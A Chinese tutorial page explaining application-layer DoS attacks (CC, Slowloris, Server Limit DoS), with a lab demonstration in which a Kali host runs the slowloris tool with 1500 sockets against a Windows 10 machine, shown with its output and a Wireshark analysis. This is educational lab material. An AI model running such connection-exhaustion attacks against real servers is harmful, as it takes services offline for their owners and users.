> 文档中心 > DoS:应用层DoS用例

DoS:应用层DoS用例


DoS:应用层DoS用例


DoS(Denial of Services, DoS)拒绝服务攻击使计算机或网络无法提供正常的服务,是黑客常用的攻击手段之一。常见的DoS攻击包括计算机网络带宽攻击和连通性攻击两种类型。常用的拒绝服务攻击手段包括:同步洪流、WinNuke、死亡之PING、Echl攻击、ICMP/SMURF、Finger炸弹、Land攻击、Ping洪流、Rwhod、tearDrop、TARGA3、UDP攻击、OOB等。黑客可能利用TCP/IP协议层中的数据链路层、网络层、传输层和应用层各种协议漏洞发起拒绝服务攻击。

应用层DoS

应用层(application layer)是七层OSI模型的第七层。应用层直接和应用程序对接并提供常见的网络应用服务,能够在实现多个系统应用进程互相通信的同时,完成一系列业务处理所需的服务。位于应用层的协议有很多,常见的包括HTTP、FTP、DNS、DHCP等。其中应用层中每一个协议都有可能被用来发器拒绝服务攻击。常见的应用层拒绝服务攻击有CC(Challenge Collapasar)攻击、Slowloris攻击、Server Limit DOS等。

* CC攻击:对一些资源消耗(查询数据库、读写硬盘文件等)较大的应用页面不断发起正常的请求,以达到消耗服务资源的目的。* Slowloris攻击:以极低的速度向服务器发送HTTP请求。由于Wed Server对于并发的连接数都有一定的上限,因此若恶意地占用这些连接不释放,那么Web Server的所有连接都将被恶意连接占用,从而无法接受新的请求,导致拒绝服务。* Server Limit DoS:在发送HTTP POST包时,指定一个非常大的Content-Length值,然后以很低的速度发包,这样当客户端连接数过多以后,占用了Web Server的所有可用连接,从而导致DoS。

现以Slowloris攻击为例,其原理是通过恶意占用有效连接,从而导致无法接受新的请求,达到目标服务器拒绝服务的效果。HTTP协议,HTTP Request以“\r\n\r\n”结尾表示客户端发送结束,服务器端开始处理。那么,如果永远不发送“\r\n\r\n”会如何?Slowloris就是利用这一点做DDoS攻击。

演示环境

攻击机:Linux kali 5.10.0 IP:192.168.68.192

靶 机:Win10 IP:192.168.68.191

命令如下:

┌──(root💀kali)-[~]└─# slowloris -s 1500 192.168.68.191  2 ⨯[26-04-2022 03:26:21] Attacking 192.168.68.191 with 1500 sockets.[26-04-2022 03:26:21] Creating sockets...[26-04-2022 03:26:22] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:26:37] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:26:53] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:27:08] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:27:23] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:27:38] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:27:53] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:28:08] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:28:23] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:28:38] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:28:58] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:29:13] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:29:28] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:29:43] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:29:58] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:30:14] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:30:29] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:30:44] Sending keep-alive headers... Socket count: 1021[26-04-2022 03:30:59] Sending keep-alive headers... Socket count: 1021

用Wireshark捕获流量信息,效果如下图:

DoS:应用层DoS用例

通过Wireshark捕获到的流量可以发现,HTTP发送结尾的字符为4069\r\n,这样会导致服务器端认为HTTP头部没有接收完成而一直等待。如果多个僵尸主机一同这样操作,很容易就会是目标主机宕机。

DoS:应用层DoS用例

备注:此案例只是复现应用层DoS攻击,切勿用做违法攻击

植物大战僵尸